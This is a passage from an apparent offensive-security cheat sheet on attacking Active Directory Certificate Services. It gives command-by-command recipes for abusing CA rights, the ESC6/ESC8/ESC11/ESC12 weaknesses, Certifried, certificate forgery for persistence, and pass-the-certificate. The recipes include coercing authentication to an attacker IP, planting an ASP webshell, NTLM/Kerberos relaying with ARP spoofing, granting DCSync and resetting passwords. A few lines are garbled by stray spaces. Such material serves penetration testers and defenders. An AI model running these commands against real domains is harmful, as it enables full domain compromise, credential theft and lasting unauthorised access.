\\CA.contoso.com\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\contoso\CA-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy /v EditFlags
```

On another hand, it is possible to create a new *CRL Distribution Point* (CDP) that point to a controlled server in order to obtain an NTLM authentication from the AD CS server.

```
Certify.exe coerceauth /ca:CA.contoso.local\CA01 /target:<attacker_IP>
```

Or write a webshell in the web server directory on the CA via a CDP manipulation:

```
Certify.exe writefile /ca:CA.contoso.local\CA01 /path:C:\inetpub\wwwroot\shell.asp
/input:shell.asp
```

- If an attacker gains control over a principal that has the **ManageCertificates** right over the CA, he can remotely approve pending certificate requests, subverting the "CA certificate manager approval" protection

```
# Request a certificate that requires manager approval with Certify
Certify.exe request /ca:CA.contoso.local\CA01 /template:ApprovalNeeded
...
[*] Request ID : 1337

# Approve a pending request with PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-PendingRequest -
RequestID 1337 | Approve-CertificateRequest

# Download the issued certificate with Certify
Certify.exe download /ca:CA.contoso.local\CA01 /id:1337
```

Linux

When it is not possible to restart the **CertSvc** service to enable the **EDITF_ATTRIBUTESUBJECTALTNAME2** attribute, the built-in template **SubCA** can be useful.

It is vulnerable to the **ESC1** attack, but only **Domain Admins** and **Enterprise Admins** can enroll in it. If a standard user try to enroll in it with **Certipy**, he will encounter a **CERTSRV_E_TEMPLATE_DENIED** error and will obtain a request ID with a corresponding private key.

This ID can be used by a user with the **ManageCA** and **ManageCertificates** rights to validate the failed request. Then, the user can retrieve the issued certificate by specifying the same ID.

- With **ManageCA** right it is possible to promote new officer and enable templates

```
# Add a new officer
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -add-officer
'user'

# List all the templates
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -list-templates

# Enable a certificate template
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -enable-
template 'SubCA'
```

- With **ManageCertificates** AND **ManageCA** it is possible to issue certificate from failed request

```
# Issue a failed request (need ManageCA and ManageCertificates rights for a failed request)
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca
'ca_name' -issue-request 100

# Retrieve an issued certificate
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca
'ca_name' -retrieve 100
```

CA Configuration - ESC6, 12

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

If the CA flag **EDITF_ATTRIBUTESUBJECTALTNAME2** is set, it is possible to specify a SAN in any certificate request. This ESC has been patched with the Certifried CVE patch. If the updates are installed, exploitation requires either a template vulnerable to ESC9 or misconfigured registry keys vulnerable to ESC10.

Windows

```
# Find info about CA
Certify.exe cas
```

```
# Find template for authentic
Certify.exe /enrolleeSuppliesSubject
Certify.exe /clientauth

# Request certif with SAN
Certify.exe request /ca:'domain\ca' /template:"Certificate template" /altname:"admin"
```

Linux

```
# Verify if the flag is set
certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -stdout | grep "User
Specified SAN"

#To specify a user account in the SAN
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -template
'vulnerable template' -upn 'administrator@contoso.local'

#To specify a computer account in the SAN
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -template
'vulnerable template' -dns 'dc.contoso.local'
```

Shell access to ADCS CA with YubiHSM - ESC12

Administrators may configure the Certificate Authority to store its private key on an external device like "Yubico YubiHSM2", over storing it in the software storage.

This is a USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine. *"In order to generate and use keys in the YubiHSM, the Key Storage Provider must use an authentication key (sometimes dubbed "password"). This key/password is stored in the registry under*

`HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` *in cleartext."*

With an access to the PKI server, it is possible to either redirect the the YubiHSM connection to a controlled machine, or import the PKI certificate and retrieve its private key to forge arbitrary certificate. Everything is explained [here](#).

Relay Attacks - ESC8, 11

HTTP Endpoint - ESC8

If the HTTP endpoint is up on the CA and it accept NTLM authentication, it is vulnerable to NTLM or Kerberos relay.

NTLM Relay

```
# Prepare relay
ntlmrelayx -t "http://CA/certsrv/certfnsh.asp" --adcs --template "Template name"
#Or
certipy relay -ca ca.contoso.local

# Find a way to leak the machine or user Net-NTLM hash (Printerbug, Petitpotam, PrivExchange, etc)
```

ESC8 with NTLM relay can be performed from a WSUS poisoning.

```
#arpspoofing between the target and the WSUS server
#In a first terminal
sudo arpspoof -i enp0s3 -t <target> <WSUS_server>
#In a second terminal
sudo arpspoof -i enp0s3 -t <WSUS_server> <target>

#Redirect WSUS traffic to port 80
sudo iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 80
sudo socat TCP-LISTEN:8530,fork TCP:80

# Prepare relay and wait for an authentication
ntlmrelayx -t "http://CA/certsrv/certfnsh.asp" --adcs --template "Computer"
```

Kerberos Relay

It is possible with the last versions of **mitm6** and **krbrelayx**.

```
#Setup the relay
sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.contoso.local --adcs --template Machine

#Run mitm6
sudo mitm6 --domain contoso.local --host-allowlist target.contoso.local --relay
```



```
CA.contoso.local -v
```

RPC Endpoint - ESC11

Certificate request can be realised through the **MS-ICPR** RPC endpoint. If the flag **IF_ENFORCEENCRYPTICERTREQUEST** is enabled on the CA, NTLM signing is required and no relay is possible (default configuration). But, **Windows Servers < 2012** and **Windows XP** clients need the flag to be removed for compatibility.

If **Enforce Encryption for Requests : Disabled** appears on the Certipy CA enumeration output, relay is possible (use this Certipy [fork](#) and this Impacket [fork](#) for the moment):

```
ntlmrelayx.py -t "rpc://ca.contoso.local" -rpc-mode ICPR -icpr-ca-name "ca_name" -smb2support
```

Certifried (CVE-2022-26923)

The CVE is well explained [here](#). The right to create a computer account or the write rights over an existing account are needed.

Windows

```
#Clean the SPNs on the controlled computer account
Set-ADComputer <controlled_name> -ServicePrincipalName @{}
#Set the dNSHostName value to the name of a computer account to impersonate
Set-ADComputer <controlled_name> -DnsHostName dc.contoso.local
#Request a certificate
Certify.exe request /ca:CA.contoso.local\CA /template:"Machine"
```

Linux

To check if the CVE is present, request un certificate as a user. If Certipy print **Certificate object SID is [...]**, the CVE cannot be exploited.

```
#Clean the SPNs on the controlled computer account
bloodyAD.py -u user1 -p password -d contoso.local setAttribute
'CN=<controlled_name>,CN=Computers,DC=contoso,DC=local' serviceprincipalname '[]'

#Set the dNSHostName value to the name of a computer account to impersonate
bloodyAD.py -u user1 -p password -d contoso.local setAttribute
```

```
' CN=<controlled_name>, CN=Computers, DC=contoso, DC=local' dnsHostName '["dc. contoso. local"]'

#Request a certificate

certipy req -u '<controlled_name>@contoso. local' -p 'password' -dc-ip 'DC_IP' -target
'ca_host' -ca 'ca_name' -template 'Machine'
```

Domain Persistence

Forge certificates with stolen CA certificate - DPERSIST1

With the **CA Certificate** it is possible to forge any arbitrary certificate. The CA certificate can be extracted on the CA server as presented in the **THEFT2** section, it's a certificate without any EKU and a "CA Version" extension. Additionally, the **Issuer** and the **Subject** are the CA itself.

Side note: since a forged certificate has not been issued by the CA, it cannot be revoked...

Windows

With the certificate and the private key in PFX format, ForgeCert can be used:

```
./ForgeCert.exe --CaCertPath ./ca.pfx --CaCertPassword 'Password123!' --Subject "CN=User" --
SubjectAltName administrator@contoso. local --NewCertPath ./admin.pfx --NewCertPassword
'Password123!'
```

Linux

With admin privileges on the CA server, Certipy can retrieve the CA certificate and its key:

```
certipy ca -backup -u 'user@contoso. local' -p 'password' -ca 'ca_name'
```

Then Certipy can forge the new certificate:

```
certipy forge -ca-pfx ca.pfx -upn administrator@contoso. local -subject
'CN=Administrator, CN=Users, DC=CONTOSO, DC=LOCAL'
```

Trusting Rogue CA Certificates - DPERSIST2

The principle is to generate a rogue self-signed CA certificate and add it to the `NTAuthCertificates` object. Then any forged certificates signed by this rogue certificate will be valid.

With sufficient privileges on the `NTAuthCertificates` AD object (Enterprise Admins or Domain Admins/Administrator in the root domain), the new certificate can be pushed like this:

```
certutil.exe -dspublish -f C:\CERT.crt NTAuthCA
```

Malicious Misconfiguration - DPERSIST3

Similarly to the **ESC5**, this point covers all the interesting rights that can be set (via DACL for example) to achieve a persistence. For example, setting a `WriteOwner` right on the `User` template for the attacker can be interesting. Other targets are worthwhile:

- CA server's AD computer object
- The CA server's RPC/DCOM server
- Any descendant AD object or container in the container `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.)
- AD groups delegated rights to control AD CS by default or by the current organization (e.g., the built-in Cert Publishers group and any of its members)

Pass-The-Certificate

PKINIT

With a certificate valid for authentication, it is possible to request a TGT via the **PKINIT** protocol.

Windows

```
# Information about a cert file
certutil -v -dump admin.pfx
```

```
# From a Base64 PFX
Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx
/password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
```

Linux

```
# Authentication with PFX/P12 file
certipy auth -pfx 'user.pfx'

# PEM certificate (file) + PEM private key (file)
gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY"
"FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# PFX certificate (file) + password (string, optionnal)
gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD"
"FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
```

Schannel

If PKINIT is not working on the domain, LDAPS can be used to pass the certificate with **PassTheCert**.

Windows

- Grant DCSync rights to an user

```
./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --elevate --target
"DC=domain,DC=local" --sid <user_SID>
```

```
#To restore
./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --elevate --target
"DC=domain,DC=local" --restore restoration_file.txt
```

- Add computer account

```
./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --add-computer --computer-
name TEST$ --computer-password <password>
```

- RBCD

```
./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --rbcd --target  
"CN=DC,OU=Domain Controllers,DC=domain,DC=local" --sid <controlled_computer_SID>
```

- Reset password

```
./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --reset-password --target  
"CN=user1,OU=Users,DC=domain,DC=local" --new-password <new_password>
```

Linux

For RBCD attack with passthecert.py

```
#Create a new computer account  
python3 passthecert.py -action add_computer -crt user.crt -key user.key -domain contoso.local  
-dc-ip 'DC_IP'  
  
#Add delegation rights  
python3 passthecert.py -action write_rbcd -crt user.crt -key user.key -domain contoso.local -  
dc-ip 'DC_IP' -port 389 -delegate-to <created_computer> -delegate-from TARGET$  
  
#Impersonation is now possible
```

With Certipy

```
certipy auth -pfx dc.pfx -dc-ip 'DC_IP' -ldap-shell
```

References

- [SpecterOps blog](#)
- [SpecterOps whitepaper](#)
- [ESC13 article](#)
- [ESC14 article](#)
- [The Hacker Recipes](#)
- [Snovvcrash](#)
- [Certipy2.0 blog](#)
- [Certipy4.0 blog](#)
- [modifyCertTemplate](#)

- [HTTP418 Infosec](#)
 - [Weak ACLs](#)
 - [Sploutchy's ESC11 attack](#)
 - [hajo's ESC12 attack](#)
 - [Certipy](#)
 - [Certify](#)
-

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